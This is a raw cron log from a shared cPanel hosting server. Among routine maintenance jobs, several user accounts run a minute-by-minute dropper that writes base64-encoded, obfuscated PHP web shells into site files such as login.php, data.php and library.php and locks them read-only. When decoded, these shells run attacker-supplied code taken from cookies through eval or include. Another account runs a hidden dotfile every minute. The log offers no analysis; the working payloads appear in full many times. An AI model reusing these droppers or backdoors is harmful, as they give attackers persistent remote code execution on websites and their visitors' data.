eVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:33:01 medusa CROND[4783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:34:01 medusa CROND[6308]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:34:01 medusa CROND[6310]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:34:01 medusa CROND[6309]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:34:01 medusa CROND[6311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:34:01 medusa CROND[6316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:34:01 medusa CROND[6312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:34:01 medusa CROND[6317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:34:01 medusa CROND[6318]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:34:01 medusa CROND[6321]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:34:01 medusa CROND[6320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:34:01 medusa CROND[6329]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:34:01 medusa CROND[6332]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:34:01 medusa CROND[6335]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:35:01 medusa CROND[8005]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:35:02 medusa CROND[8018]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:35:02 medusa CROND[8019]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:35:02 medusa CROND[8020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:35:02 medusa CROND[8022]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:35:02 medusa CROND[8021]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8023]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:35:02 medusa CROND[8025]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8028]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8030]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:35:02 medusa CROND[8024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:35:02 medusa CROND[8034]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:35:02 medusa CROND[8035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8036]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:35:02 medusa CROND[8032]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:35:02 medusa CROND[8042]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 15:35:02 medusa CROND[8026]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 15:35:02 medusa CROND[8047]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:35:02 medusa CROND[8048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:35:02 medusa CROND[8050]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:35:02 medusa CROND[8054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:35:02 medusa CROND[8057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:35:02 medusa CROND[8041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:36:01 medusa CROND[10081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:36:01 medusa CROND[10086]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:36:02 medusa CROND[10133]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:36:02 medusa CROND[10136]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
